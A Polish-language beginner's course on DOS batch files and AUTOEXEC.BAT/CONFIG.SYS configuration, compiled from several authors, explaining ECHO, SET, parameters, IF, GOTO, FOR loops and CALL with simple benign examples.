Wielki kurs batch

// czyli tajniki Dos`a//

\\ Szczerze mówiąc to jest mix kursów, często istotne rzeczy będą się powtarzać, ale to tylko bardziej nam zapadnie w pamięć. Siedziałem nad tym kilka dni i więc proszę o wyrozumiałość. Treść pochodzi ze strony http://hakerczat.prv.pl/faq/faqbatch.html , ja po prostu poprawiłem błędy, ocenzurowałem itp. Za tom IV NIE BIORE ŻEADNEJ ODPOWIEDZIALNOŚCI – wyjaśnienie przy tym tomie. Miłej lektury

Twórca PDF-u byadik, strona http://byadik.cba.pl

Uwagi dotyczące PDF-u proszę kierować na maila podanego na stronie.

TOM I

\\ Ten tom jest dla zupełnie zielonych w tych sprawach. Dalsze części są dla wszystkich (choć polecam przeczytanie togo tomu wszystkim, tak dla przypomnienia informacji, uporządkowania ich).

~byadik~

Część I

Autor tekstu:
Wojciech W. (otul / otuloc)
otul2@poczta.onet.pl
www.otul.prv.pl

Witam wszystkim w moim kursie o batch`u, jest on skromny
i przeznaczony głównie dla początkujących
www.otul.prv.pl otul2@poczta.onet.pl

TAJNIKI DOS-A - CZYLI POWROT DO KORZENI.

Dzisiaj w erze Windows-a często zapominamy o tym,
ze to właśnie Dos jest systemem, bez którego Windows nawet by się nie uruchomił.
Tak wiec warto poświęcić mu trochę uwagi i nauczyć się trochę więcej niż
tylko CD, COPY i DEL.

---

1. Edycja pliku Autoexec.bat:

---

a) komendy podstawowe:

Echo on/off - wyświetla/nie wyświetla pojawiające się komunikaty

Echo tekst - pokazuje dany tekst (obojętnie jaki)

Rem - nie uwzględnia danej linijki

Path=[dysk]:\[katalog];[dysk2]\[katalog2]... - podaje ścieżkę domyślną

Lh [dysk]:\[katalog]\[plik] - ładuje plik do pamięci wyższej

dowolne polecenie >Nul - nie pokazuje komunikatów danego polecenia

---

b) tworzenie pytań:

Jeżeli np. chcemy aby komputer pytał się przy uruchamianiu czy załadować drivery myszy to należy wpisać:

```
Choice /c:tn Czy załadować mysz
If errorlevel 2 goto next
c:\mouse\mouse.com
:next
```

Komputer teraz będzie pytał "Czy załadować mysz?" i jeżeli wciśniemy "t" to załaduje a jeżeli "n" to nie załaduje myszy.

Zatem:

choice /c:[znak1][znak2][...] tekst - polecenie tworzące pytanie

if errorlevel [najwyższa liczba] polecenie - jeżeli nie wybraliśmy minimum tej liczby to komputer nie spełni "polecenia" najwyższa liczba oznacza ostatni znak np.:

```
choice /c:djhg pytanie
if errorlevel 4 polecenie ; tutaj 4 oznacza literę g, 3 oznacza literę h itd.)
```

goto [etykieta] - przeskakuje do danej etykiety

:[etykieta] - dana etykieta

Teraz trochę teorii. Jeżeli chcemy aby komputer nie wykonał polecenia (np. nie załadował myszy) to znak negujący (np. "n") powinien być ostatni i w komendzie "if errorlevel" powinien mięć najwyższą wartość (np. if errorlevel 2) oraz za w poleceniu za nią powinna znajdować się etykieta, do której komputer ma przeskoczyć (np. next).Pod spodem wpisujemy polecenie do wykonania (np. c:\mouse\mouse.com) oraz jeszcze niżej etykietę przeskokowa (np.next).

---

c) ważne komendy:

[dysk]:\[katalog]\smartdrv.exe - ładuje program SmartDrive,
zwiększa on prędkość odczytu plików, ale zmniejsz pamięć

[dysk]:\[katalog]\emm386.exe - ładuje program Emm386,
zwiększa on ilość pamięci konwencjonalnej
(w połączeniu z komenda w config.sys -patrz punk 2)

[dysk]:\[katalog]\win - uruchamia Windows-a (patrz tworzenie Menu)

---

2. Edycja pliku config.sys:

---

a) komendy podstawowe:

Dos=High,Umb - podaje do jakiej pamięci ma być
ładowany DOS (High) i czy ma tworzyć Umb-y

Device/DeviceHigh=[dysk]:\[katalog]\[sterownik] - ładuje
dany sterownik do pamięci/pamięci wyższej

Rem - nie uwzględnia danej linijki

---

b) ważne komendy:

Device=[dysk]:\[katalog]\Himem.sys - ładuje sterownik
pamięci wyższej (zwiększ pamięć konwencjonalna)

Device=[dysk]:\[katalog]\Emm386.exe RAM - ładuje
sterownik Emm386 (nie stosować pod Windows-em; patrz punk 1)

---

3. Sterowniki Cd-Rom-u:

---

a) Config.sys:

Device=[dysk]:\[katalog]\nazwa sterownika /D:MSCD000

---

b) Autoexec.bat:

[dysk]:\[katalog]\Mscdex.exe /D:MSCD000

Plik "Mscdex.exe" znajduje sie w katalogu "Windows\Command".

---

4. Tworzenie Menu i Submenu:

UWAGA ABY POD KONIEC MENU NIE URUCHAMIAL SIE WINDOWS
NALEZE W PLIKU MSDOS.SYS ZMIENIC PARAMETR BootGUI=1 NA 0

a) config.sys - komendy:

[Menu] - rozpoczyna tworzenie menu

MenuItem=etykieta,Dowolny tekst - składnik wyboru

SubMenu=etykieta,Dowolny tekst - tworzy podmenu

MenuDefault=etykieta,czas - wybiera dana etykietę po określonym czasie (w sekundach)

[Etykieta] - etykieta (musi się zgadzać z jedna z etykiet w składnikach wyboru)

---

b) autoexec.bat - komendy:

Goto %config% - poleceni przeskakujące do etykiety wybranej w config.sys

:Etykieta - etykieta musi się zgadzać z ta w config.sys

Goto End - polecenie MUSI się znaleźć na końcu każdej etykiety
(dokładnie opisane w punkcie 5)

---

5. Przykładowe pliki Autoexec.bat i Config.sys:

---

a) CONFIG.SYS:

```
[Menu]
SubMenu=Dos,Konfiguracja dla Dos.
MenuItem=Win,Konfiguracja dla Windows.
MenuDefault=Win,5
[Dos]
MenuItem=Gry,Konfiguracja dla gier.
MenuItem=Praca,Konfiguracja dla pracy.
[Win]
Dos=High,Umb
DeviceHigh=C:\Windows\Himem.sys
[Gry]
Dos=High,Umb
DeviceHigh=C:\Windows\Himem.sys
DeviceHigh=C:\Windows\Emm386.exe Ram
[Praca]
Dos=High,Umb
DeviceHigh=C:\Windows\Himem.sys
```

DeviceHigh=C:\Cdrom\Cdrom.sys /D:MSCD000

---

b) AUTOEXEC.BAT:

```
Echo off
Path=C:\Windows;C:\Windows\Command
Goto %config%
:Win
Win
Goto End
:Gry
Choice /c:tn Czy zaladowac mysz
If errorlevel 2 goto Next
c:\mouse\mouse.com
:Next
Lh Emm386.exe >Nul
Goto End
:Praca
Choice /c:tn Czy załadować mysz
If errorlevel 2 goto Next
c:\mouse\mouse.com
:Next
Lh C:\Windows\Command\Mscdex.exe /D:MSCD000
Lh Smartdrv.exe
Goto End
:End
```

Część II

Autor tekstu:
Wojciech W. (otul / otuloc)
otul2@poczta.onet.pl
www.otul.prv.pl

Witam wszystkim w moim kursie o batch`u część II-uzupełnienie,
jest on skromny i przeznaczony głównie dla początkujących
www.otul.prv.pl otul2@poczta.onet.pl

Batch`s

Po pierwsze powiem tylko, ze ten dział powstał dlatego ,
ze jeszcze takiego nigdzie nie widziałem...

No dobra jeśli tu przybyłeś(aś) to znaczy,
ze chcesz się nauczyć pisać lub trochę poszerzyć
swoja wiedze na temat batch`ow (albo się trochę ze mnie ponabijać- no no).
Zacznę od tego co to są w ogolę pliki wsadowe i do czego są nam potrzebne.

Aha. Jeszcze jedno. Narzazie to jest jeszcze podstawa.
Na tyle porostu mi starczyło czasu.
Ale juz niedługo będzie tego więcej :) - mam nadzieje, ze znajdę czas.

Otóż są to pliki wykonywalne z rozszerzeniem *.bat .
Od plików skompilowanych różnią się tym, iż żeby je uruchomić potrzebny jest interpreter (w tym wypadku dos). Przyda się do
bardzo wielu rzeczy - dobrych i złych :-) , jeśli chcesz wiedzieć więcej to przeczytaj dokładnie cały ten artykuł.

Co bedzie nam potrzebne ?

Dowolny edytor czystego ascii (czyli np. notepad - notatnik ;)) i
ewentualnie do bardziej złożonych batch`ow odrobina inteligencji :o}.

(dos nie rozróżnia małych i dużych liter wiec możemy pisać jak
chcemy, ale dla lepszej widoczności i porządku najlepiej zaczynać
poszczególne polecenia duża litera (a zresztą piszcie jak wam się
podoba - niech to już od was zależy :)))

1.To zaczniemy od nauczenia się (naprawdę wielu) poleceń dos`a :

spis treści:

ECHO to chyba podstawowa funkcja... a wiec służy do ustalania
czy polecenia w trybie wsadowym maja być widoczne dla
użytkownika czy nie. Oto przykład:

Echo off
- kończy wypisywanie na ekranie echa poleceń zapisanych w pliku

Echo on
- rozpoczyna wypisywanie na ekranie echa poleceń zapisanych w pliku

Za pomocą tego polecenia wypisuje się również komunikaty na ekranie.

Jeżeli chcemy pozostawić któryś wiersz pusty, dodajemy kropkę. przykłady :

Echo.
 - pozostawia wiersz pusty (samo echo bez kropki powoduje
wypisanie aktualnego stanu echa np. włączone)

Echo To jest komunikat
 - wypisuje na ekranie komunikat

Nie musimy wypisywać tylko na ekranie, można tez do
pliku - w tym celu piszemy echo cos tam i jeszcze więcej > plik.txt
lub jeżeli nie chcemy zastępować pliku tym text`em tylko
dopisać piszemy dwa razy nakierunkowanie czyli >>.

Ten znaczek - @ czyli małpa działa podobnie do echo off tyle,
ze echo jest w tym wypadku wyłączone tylko dla wiersza
poprzedzonego tym znakiem np.

@<polecenie>
 - wpisujemy po to, żeby nie było widać jakie polecenie zawiera
ten wiersz

Mniej ważnym poleceniem jest REM. Oznacza porostu
komentarz ignorowany przez interpreter.

REM To jest komentarz
 - w zależności czy echo jest włączone czy wyłączone
wiersz ten bedzie widoczny lub ukryty

CALL <program> - uruchamia jakiś plik wykonywalny (czyli *.com, *.exe, *.bat)
 i ewentualnie przekazuje mu parametry. Właściwie w nowszych wersjach dos`a
nie trzeba go używać tylko od razu wpisać nazwę programu, natomiast
w starych jest konieczny po to, żeby po zakończeniu wywołanego programu
oddal on sterowanie do pliku wsadowego. użycie:

call plik parametr1
 - uruchamia plik wykonywalny i przekazuje mu listę parametrów

SET - hmm... po prostu określasz sobie zmienna, niby polecenie
proste, ale cholernie przydatne. Po wyznaczeniu wartości, jeżeli chcemy
jej używać w pliku, należy ja "otoczyć" znakiem % (np echo pierwszą wartością
jest %wartosc1%) Sposób użycia :

SET zmienna=wartość
 - ustawia zmienna "zmienna" na dana wartość

np. set pierwszawartosc=przypuscmy2 ;) wiadomo co się stanie.
A teraz jesli chcemy sprawdzić jakie juz mamy zadeklarowane wartości
to piszemy samo _SET_ bez parametrów. Wartością może być tez nazwa
pliku lub parametr. Parametry wsadowe to wartości podawane po nazwie pliku
czyli np plik.bat parm1 parm2 itp., określają je symbole od %0, %1 ... do %8, %9,
gdzie :

%0 jest zerowym parametrem czyli po prostu nazwa pliku

%1 jest pierwszym parametrem, podanym po nazwie pliku

%2 - %9 dalsze parametry od drugiego do dziewiątego

Jeżeli potrzebujemy wartości powyżej %9, używamy polecenia SHIFT.

SHIF - przed chwila pisałem do czego to służy, wiec teraz powiem
tylko jak tego użyć. Shift zamienia parametry kolejnością w ten sposób,
iż %1 staje się %0 ... %5 %4 , %9 %8 i wreszcie parametr10 staje sie %9 -
i oto nam właśnie chodzi. Oczywiście możemy tez wcześniej zachować
parametr %0 (jeżeli bedzie nam jeszcze potrzebny) poleceniem
set startypar0=%0. Wtedy wartość %starypar0% bedzie zawierała
stary parametr %0. O ile wiem, nie ma żadnego specjalnego polecenia
przywracającego stare parametry wiec lepiej sobie właśnie w ten sposób
je zachowywać jeżeli będziemy chcieli ich później jeszcze użyć.
Można też napisać porostu echo %0 >> plik.txt wtedy ten parametr
powinien zapisać się do pliku, ale z odczytanej go nie bedzie juz tak łatwo :o),
a jeżeli nie wiesz o co chodzi to później to wytłumaczę
(tzn. przełączniki >, >>, |, < , <<)

IF - jest to polecenie warunkowe - jeżeli jakiś warunek jest
spełniony to wykonuje jakąś czynność (najczęściej skok do etykiety).
Mogą być tez wykonywane czynności jeśli warunek nie jest spełniony
tzn. if not [....]. Są trzy sposoby : 1. if errorlevel [nr] goto etykieta - gdzie
errorlevel jest kodem wyjścia programu (np. choice.com), który był wywołany
ostatni. 2. if exist jakiś_plik goto etykieta - czyli jeżeli istnieje (lub tez nie [not])
podany plik (np. dany jako parametr) to program nas o tym powiadomi
np. echo plik %1 istnieje :) - i mamy juz w miarę porządny batch. 3. if text1==text2.
(!dwa znaki równości [==]!) w tym przypadku mamy chyba najwięcej możliwości
i kombinacji. np. text`em może być np. wartość %2, %3 itd. lub jakąś zmienna
(ustalona poleceniem set). W przypadku zmiennej należy ja wziąć
w nawias czyli : if "%zmienna%"=="wartość" goto etykieta. Użycie:

if %1==2 goto war2
 - skaczemy do etykiety war2 jeżeli pierwszym parametrem jest 2

if exist c:\katalog\plik goto ok
 - jeżeli plik istnieje skaczemy do etykiety ok

if Errorlevel 2 goto ety2
 - jeżeli poprzedni program zostawił kod wyjścia 2 idziemy do ety2

Polecenie GOTO - czyli skok do etykiety (ang go to tzn. idź do ... ;). Użycie :

GOTO etykieta
 - idzie do etykiety "etykieta"

Etykiety - używamy do zaznaczania jakichś miejsc w pliku i
zakańczamy dwukropkiem [:] np.

@Echo off

początek:
 - oznacza konkretne miejsce w pliku oznaczone
etykieta "początek"czyli pierwszy

dalej:

jakieś_polecenie
 - można sobie tez tak nazwać etykietę
np. w przypadku jakiejś dalszej procedury

end:

[np.] Echo on
 - zazwyczaj tak oznacza się koniec programu i
daje się tam polecenie "Echo on"

TOM II

Wstęp

Autor tekstu:
Wojciech W. (otul / otuloc)
otul2@poczta.onet.pl
www.otul.prv.pl

BATCH Zbiór do przetwarzania zleceń użytkownika

Batch nie jest komendą, lecz raczej zbiorem operacji na zbiorach, dzięki którym komendy i programy mogą być wykonywane. Jest to po prostu zbiór poleceń ułożonych przez użytkownika celem dokonania automatyzacji wykonania niektórych prostych i złożonych czynno□ci. Najczęściej stanowi to ułatwienie wykonania rutynowych działań. Polecenia pisane są w osobnych liniach tak jak byłyby pisane "ręcznie" bezpośrednio po zgłoszeniu się systemu operacyjnego. Zbiór taki po wywołaniu do wykonania analizowany jest przez system (konkretnie COMMAND.COM) i wykonywany linia po linii choć następować mogą skoki do innych częścici tego zbioru lub wywołania innych programów. Wykonanie takiego zbioru poleceń jest stosunkowo powolne, gdyż przed wykonaniem nie jest on w żaden sposób kompilowany czy też optymalizowany i zawsze pozostaje w swej

pierwotnej postaci. Można go zatem bardzo łatwo poprawiać i przystosowywać do nowych potrzeb. W celu wykonania takiego zbioru poleceń należy jedynie napisać nazwę tego zbioru i nacisnąć ENTER.

UWAGA1: Jego wykonanie można w dowolnym momencie przerwać przez naciśnięcie klawiszy Ctrl-Break lub Ctrl-C. Po tym nastąpi zapytanie, czy faktycznie chcemy przerwać wykonywanie tych poleceń. Naciśnięcie klawisza Y od Yes potwierdza to, a klawisz N od No zaprzecza i umożliwia dalsze przetwarzanie poleceń.

UWAGA2: Jego wykonanie można chwilowo zawiesić przez naciśnięcie klawiszy Ctrl-S, po czym wznowić dowolnym klawiszem.

Uwagi słownikowe:

Określenie Batch File ma jak dotychczas fatalne tłumaczenie na język polski. Ciągle zbiory typu Batch File określa się mianem plików wsadowych, co wynika z tłumaczenia. Jednak określenie to, jest po prostu zaszłości z dużych komputerów. Oznacza ono, że rzekomo do komputera coś się wsadza. Tak było na dużych komputerach typu ICL, ODRA 1305, RIAD itd. Używano wtedy tzw. czytników kart perforowanych, a uruchomienie jakiegoś programu (zadania) polegało właśnie na wsadzeniu pliku kart z instrukcjami

do tego czytnika i przyciśnięciu ich metalową klapką.

Nie mówiło się zbioru kart lecz wkładanie pliku kart. Stad także przeszło określenie zbiorów, które są przecież znacznie ogólniejsze, jako plików. Dziś używamy obu znaczeń co często wprowadza zamieszanie. W tej chwili, ten sposób komunikacji z komputerem jest już historię, a zwłaszcza na małych PC! Można tu zatem zaproponować zamiast 'pliku wsadowego' następujące określenia:

- zbiór do przetwarzania grupowego czy potokowego
- makro użytkowe czy systemowe, lub też krótko makro
- makrodefinicja
- program Batch (polecane określenie przez MICROSOFT)

Użycie:

POSTAĆ:

nazwa_zbioru [parametry]

ZNACZENIE: Umożliwia wykonanie sekwencji komend, zapisanej na podanym zbiorze. Struktura zbioru musi być zgodna ze strukturą typu BATCH, a jego nazwa musi mieć rozszerzenie .BAT. Jeśli Dos nie może znaleźć podanego zbioru, przeszukuje katalogi bieżącej ścieżki. Podczas wykonywania komend mogą być przekazywane parametry z zewnątrz. Oprócz standardowych komend używać można komend specjalnych: ECHO, FOR, GOTO, SHIFT, PAUSE, CALL, IF oraz REM, opisanych poniżej. Przerwanie wykonywania programu BATCH następuje po naciśnięciu

klawiszy Ctrl-Break, a chwilowe zawieszenie po Ctrl-S. Wewnątrz programu BATCH można wywoływać kolejne tego typu programy.

Programowi BATCH można przekazać parametry wywołania, które występują pod zmiennymi określanymi jako:

%0 %1 %2 %3 %4 %5 %6 %7 %8 %9

gdzie: %0 określa pełną nazwę zbioru BATCH

%1 do %9 określa kolejne parametry wywołania

Np. Wywołanie zbioru BATCH: c:\batch\test.bat co□ c: /s spowoduje uruchomienie do wykonania programu Batch test.bat z kartoteki C:\BATCH a pod kolejnymi zmiennymi będą parametry

%0 - c:\batch\test.bat

%1 - co□

%2 - c:

%3 - /s

Możemy analizować zatem do 9 parametrów, chyba że użyli□my opisanej poniżej komendy SHIFT to wtedy ilość parametrów może być dowolna.

UWAGA:

W zbiorach BATCH można odwoływać się także do dowolnych

zmiennych zapisanych w otoczeniu systemowym (patrz zlecenie SET) jako: %zmienna% . Na przykład jeśli chcemy odwołać się do zmiennej PATH określającej ścieżkę poszukiwania przez system wywoływanego zbioru, wystarczy użyć wyrażenia: %PATH%. Szczegóły znajdziesz w przykładach makrodefinicji ZIPEXE.BAT, MNIEJ.BAT oraz pod hasłem BATY. Zobacz w tym celu BATY, gdzie znajdziesz wiele przykładów i uwag co do tworzenia zbiorów typu Batch File.

AUTOEXEC.BAT

Podczas uruchamiania komputera system operacyjny szuka go na tym dysku, z którego jest uruchamiany. Jeżeli taki zbiór istnieje, to są wykonywane wszystkie zawarte w nim komendy. Zbiór ten tworzy się np. za pomocą prostej komendy:

```
COPY CON: AUTOEXEC.BAT
```

Wszystkie występujące po niej komendy i dyrektywy są wpisywane do zbioru AUTOEXEC.BAT. Po zakończeniu wprowadzania należy wcisnąć klawisz F6, a następnie RETURN. Wówczas utworzy się na dysku zbiór o nazwie AUTOEXEC.BAT.

Jeśli natomiast taki zbiór jest już utworzony a potrzeba dopisać do niego tylko jedną linię, to najprostszym rozwiązaniem może być zlecenie: echo tekst >> c:\autoexec.bat

gdzie 'tekst' jest zestawem słów, które chcemy dopisać.

Zbiory te można także utworzyć i modyfikować za pomocą edytora EDLIN oraz nowo dołączonego EDIT.

NASTĘPUJĄCE KOMENDY MOGĄ BYĆ UŻYWANE W PROGRAMACH TYPU BATCH:

==========

Zlecenie	Działanie
CALL	Wywołuje inną makrodefinicję zapewniając powrót do zbioru wywołującego
ECHO	Włącza lub wyłącza echo
FOR	Wykonuje zlecenie wielokrotnie dla grupy zbiorów
GOTO	Przenosi sterowanie do linii leżącej po wyszczególnionej etykiecie BATCH
IF	Wykonuje zlecenie, jeżeli spełniony zostanie warunek
PAUSE	Zawiesza wykonanie makrodefinicji aż naci□nie się dowolny klawisz, a Ctrl-Break lub Ctrl-C przerywa jej wykonanie.

REM Stanowi komentarz wewnątrz makrodefinicji

SHIFT Zwiększa liczbę dostępnych parametrów w makrodefinicji

Część I


```
-------------------------------------
Autor tekstu:
Wojciech W. (otul / otuloc)
otul2@poczta.onet.pl
www.otul.prv.pl
-------------------------------------
```


Pewnie wielu z Was chciałoby nauczyć się programowania,
ale nie wie, jak się do tego zabrać.
Najlepiej zacząć od czegoś prostego, a zarazem przydatnego...
Plik wsadowy jest w tym celu bardzo dobry: to zwykły dokument tekstowy,
tyle że z rozszerzeniem *.bat, charakterystyczna ikoną i wykonywalny.
Zawarte są w nim polecenia DOS-a.
Kiedyś były one bardzo przydatne, bo nie każdy miał Windows-a,
a wielokrotne wpisywanie tych samych komend w linii poleceń nie należało
do najprzyjemniejszych. Oczywiście, nie będziemy się tu raczej uczyć
obsługi DOS-a. Aby ułatwić pisanie plików wsadowych wymyślono
specjalny język poleceń. Zawiera on instrukcje spotykane we wszystkich
innych językach. Dziś poznamy pierwszą z nich:

ECHO

Instrukcja ta ma dwa zastosowania.
Pierwsze to wypisywanie na monitorze komend zawartych w kodzie programu
(czyli tego, co wpisali□my do pliku .bat). Ciekawe, czy właśnie od tego
powtarzania pochodzi nazwa?
W każdym razie wyświetlanie kodu jest dosyć denerwujące,
przecież chcemy tylko zobaczyć efekt działania programu. Tak więc piszemy:

@echo off

i problem znika. Dobra, tylko po co ta małpa? Ona działa tak samo jak "echo off",
ale tylko w bieżącej linii. A tę przecież też chcemy ukryć. Jak już nam się znudzi
ukrywanie kodu, możemy napisać:

echo on

Drugie zastosowanie jest ciekawsze. Możemy wyświetlić na ekranie dowolny komunikat (znaczy: tekst). Np.

echo Już napisałem pierwszy plik wsadowy.

A co zrobić, gdy chcemy umieścić tekst w pliku? Piszemy:

echo To będzie nowy tekst w pliku > nowy.txt

Tak więc utworzy nam się plik o nazwie nowy.txt, zawierający podany tekst. Jeśli jednak w chwili uruchomienia programu ten plik już będzie istnieć, zostanie zastąpiony. Chyba, że napiszemy coś takiego:

echo To będzie dalszy tekst w pliku >> nowy.txt

A teraz jeszcze jedna rzecz. Niektóre nazwy plików są zarezerwowane dla urządzeń. Tak więc jeśli podamy zamiast zwykłej nazwy słowo LPT1 lub PRN, to tekst zostanie wydrukowany, a nie wpisany do pliku.

PAUSE i CLS

Teraz zastanówmy się, co się stanie, gdy nasz program będzie tak pisać i pisać. No... ekran się skończy, a my nie zdążymy zobaczyć całego tekstu. Aby temu zapobiec, możemy na chwilę przerwać wykonywanie. Jak? Umieszczając pomiędzy dwiema z instrukcji coś takiego:

pause

Jak sama nazwa wskazuje program się zatrzyma i będzie czekać na wciśnięcie dowolnego klawisza. A dodatkowo wyświetli komunikat:

Naciśnij dowolny klawisz, aby kontynuować . . .

Toteż zrobimy mu tę przyjemność i coś wciśniemy (tylko nie RESET ;). A co zrobić, gdy chcemy umieścić własny komunikat, albo całkowicie się go pozbyć? Wtedy używamy poznanego już znaczka:

pause > nul

Za jego pomocą przekierowujemy komunikat... no właśnie, gdzie? Do urządzenia NUL - czyli tzw. urządzenia pustego. W ten sposób w ogóle, tego tekstu nie zobaczymy. Po tej instrukcji możemy jeszcze wpisać coś, co wymaże wszystko z ekranu:

cls

I to by było wszystko! W następnym odcinku zabierzemy się za coś
bardziej skomplikowanego: zmienne

Część II

ZMIENNE

Co to jest zmienna? To jakaś wartość, której nadano nazwę.
Np. w matematyce wartość 3,14 nazywa się p.
Choć nie jest to najlepszy przykład, bo pi to akurat stała.
Poza tym w DOS-ie występują jedynie wartościtekstowe.
Np. każdy z nas ma zdefiniowaną w swoim systemie
zmienną WINDIR - czyli ścieżkę do katalogu Windowsa.
No to załóżmy sobie własną zmienną. Uwaga!
Piszemy to poza kodem programu - w linii poleceń DOS-a.
Proponuję stworzyć zmienną ze swoim imieniem:

set imie=michał

Dobra, ale co to nam daje?
Otóż wartościwpisane w linii poleceń mogą mieć wpływ na przebieg programu.
Oto prosty sposób. Bardziej skomplikowane pokażę Ci, gdy poznamy
instrukcję warunkową .Teraz posłużmy się naszą zmienną IMIE:

echo Witaj w moim programie, %imie%.
echo Windowsa masz zainstalowanego w katalogu: %windir%.

Zauważ, że poza poleceniem SET nazwy zmiennych umieszczamy
pomiędzy znakami procenta. Teraz wpisz jeszcze sam wyraz SET (w wierszu poleceń).
Zobaczysz wszystkie zmienne, w tym te, które zdefiniowane zostały przed startem systemu.

PARAMETRY

Parametry są to wyrażenia, które użytkownik wpisuje za nazwą naszego programu.
My też często korzystamy z parametrów. Np. w poleceniu:

format a:

Litera dysku i dwukropek są tutaj jednym parametrem.
W wywołaniu naszego programu możemy skorzystać z kilku parametrów.
Oddzielamy je spacją:

nasz_program kopiuj usuwaj napisz

Oczywiścieie - to tylko przykład parametrów.
Teraz zobaczmy, jak możemy odwołać się do nich w kodzie programu:

```
echo Parametr pierwszy to: %1
echo Parametr drugi to: %
echo Nazwa programu to: %0
```

W naszym przypadku spowoduje to napisanie na ekranie tekstów:

```
Parametr pierwszy to: kopiuj
Parametr drugi to: usuwaj
Nazwa programu to: nasz_program.bat
```

Jest to oczywiścieie najłatwiejszy sposób.
Inne - za tydzień. Jak widać, parametry oznaczamy podobnie jak zmienne,
tylko bez końcowego znaku %. Zauważ, że nie mają one nazwy - tylko kolejny numer.
Co ciekawe - nazwa programu jest parametrem %0.
Z parametrami zrobić możemy jeszcze jedną ciekawą rzecz.
Poznamy ją na podstawie przykładu:

```
echo Parametr pierwszy to: %1
shift
echo Parametr drugi to: %1
shift
echo Parametr trzeci to: %1
```

Uruchamiamy program:

nasz_program kopiuj usuwaj napisz

I oto, co się dzieje:

```
Parametr pierwszy to: kopiuj
Parametr drugi to: usuwaj
Parametr trzeci to: napisz
```

Polecenie shift sprawia, że wartoć parametru "wyższego" jest
przekazywana "niższemu". Nie dotyczy to tylko parametru %0 - nazwy pliku.
To wszystko na dzisiaj. Zrobiliśmy dużo, ale dużo jeszcze zostało do
zrobienia :) .

Część III

INSTRUKCJA WARUNKOWA

Występuje w każdym języku programowania. I trudno sie dziwić,
bo to ona pozwala min. na komunikację programu z użytkownikiem.
Jak mówi sama nazwa, jej działanie polega na sterowaniu programem
w zależnoś`ci od spełnionych warunków.`
W praktyce istnieją trzy takie możliwoś`ci:`

1.

```
if exist c:\autoexec.bat echo Plik istnieje.
if not exist c:\autoexec.bat echo Nie ma pliku!
```

Tu widzimy pierwsze zastosowanie.
Instrukcja sprawdza istnienie danego pliku (tutaj "autoexec.bat"),
a następnie wyś`wietla stosowny komunikat.`
Możemy oczywiś`cie użyć dowolnej instrukcji.`

2.

```
if errorlevel = 1 echo Błąd!
if not errorlevel = 1 echo Poprawnie!
```

Takiej konstrukcji używa się bardzo rzadko.
Polega ona na rozpoznawaniu błędów wynikłych
podczas wykonywania innego programu.
Odbywa się to na podstawie kodu błędu (liczby), generowanego przez program.
W każdym razie jest bardzo przydatna przy poleceniu CHOICE,
a spotkacie się z niż także w dołączonym do tego wydania F1
Startowym Programie Logującym.
To bardzo dobry przykład - DOS sprawdza, czy kto `nie przerwał logowania do systemu.`

3. Na podstawie zmiennych lub parametrów!

```
if "%haslo%"=="secret" echo Hasło poprawne
if not "%haslo%"=="secret" echo Hasło błędne
```

```
if "%1"=="" echo Uruchamiaj, podając nazwę pliku.
if not "%1"=="" copy con %1
```

W zeszłym odcinku poznaliś`my zmienne i parametry.`
Na ich podstawie również da się pokierować programem - to moim zdaniem
najciekawsze zastosowanie instrukcji IF.
Możliwe, że dziwi cię zastosowanie dwóch znaków równoś`ci.`
Otóż w niektórych językach programowania (np. C) taki symbol
oznacza "jest równe", a pojedynczy znak "podstaw".
Stad i w DOS-ie mamy podobne oznaczenia.

Natomiast cudzysłowy po obu stronach znaku wskazują programowi,
co jest porównywaną wartością, a co resztą polecenia.
Warto używać tych znaków zawsze, bo w ten sposób unikniemy
wielu trudnych do zlokalizowania błędów.

ETYKIETY I SKOKI

A co zrobić, jeśli za instrukcją IF chcielibyśmy przypisać
każdemu warunkowi nie jedno a więcej poleceń?
Dzięki skokom i etykietom możemy bez problemu pokierować programem
, przekazując wykonywanie do jednej z jego części:

```
if exist c:\plik.txt goto wyświetl
if not exist c:\plik.txt goto załóż
cls
goto end

:wyświetl
echo Oto zawartoć naszego pliku:
type c:\plik.txt
goto end

:załóż
echo Plik nie istnieje. Zakładamy go.
echo Wpisz zawartość:
copy con c:\plik.txt
goto end

:end
```

Jak widzisz, po sprawdzeniu istnienia pliku instrukcjami IF,
następuje wykonanie jednej z części programu.
Części te zaczynamy od etykiet, czyli dwukropka i nazwy.
Zauważ też, że po ich wykonaniu następuje przejście do części :END - końca
programu.
To ważne, bo może się okazać, że mimo zastosowania skoków (GOTO),
program zostanie wykonany w złej kolejności.

To wszystko. W ostatniej części zajmiemy się czymś zupełnie innym -
pętlami.

Część IV

INSTRUKCJA PĘTLI

Witam. Dziś co nieco pętlach. Nazwa może trochę śmieszna,
ale tak naprawdę to bardzo przydatna instrukcja.
Po za tym zamiast mówić pętla, możemy powiedzieć: instrukcja iteracyjna.

Konkretnie chodzi tu o to, że możemy nakazać programowi wykonanie
tych samych poleceń wielokrotnie.
Przy czym nie trzeba ich przepisywać, wystarczy do tego jedna linia kodu.
Dodatkowo możemy bardzo łatwo zmienić parametry wywołania takiego polecenia.

Ponieważ taka definicja może być niezrozumiała,
przedstawię to na najczęściej stosowanym przeze mnie przykładzie.
Program zgrywający z płyty CD pliki MP3 i rozmieszczający je
według nazw w alfabetycznie określonych katalogach.
Chyba niezły opis, ale przejdźmy do wykonania...

Najpierw każemy programowi utworzyć katalogi,
których nazwy odpowiadają literom alfabetu:

```
FOR %%1 IN (A B C D E F G H I J K L M N O
P Q R S T U V W X Y Z) DO MD %%1
```

Teraz wyjaśnię. Najpierw zauważmy nowy rodzaj zmiennej.
Dwa znaki procenta i liczba. W nawiasie umieszczamy parametry
(lub ich części), z którymi ma zostać wykonane polecenie,
umieszczone na końcu wiersza.
W naszym przypadku jest to MD więc zostaną stworzone katalogi.
Program po prostu kolejno podstawi zamiast znaku %%1 warto□ci z nawiasu,
czyli:

```
md a
md b
md c
```

itd.

Możemy oczywiście zmienić katalog zapisu w następujący sposób:

```
MD c:\muzyka\%%1
```

Chyba wszystko jasne? Efekt będzie następujący:

```
md c:\muzyka\a
```

itd.

Aby zrealizować kopiowanie plików również można (choć już nie trzeba)
użyć instrukcji pętli. Chyba każdy zrobi to już bez problemu? :)
I jeszcze jedna ważna rzecz... zmienne użyte w poleceniu FOR sš dostępne
tylko w wierszu, w którym je wykorzystano.
Nie można też korzystać z polecenia FOR kilkakrotnie w jednej linii tj. zagnieżdżać je.

CALL

Teraz zajmiemy się już ostatnią instrukcją naszego kursu.
Jest ona bardzo prosta i służy do wywoływania innych programów wsadowych
przez nasz, a następnie powrotu do pliku z którego je wywołano:

CALL nasz_pro.bat

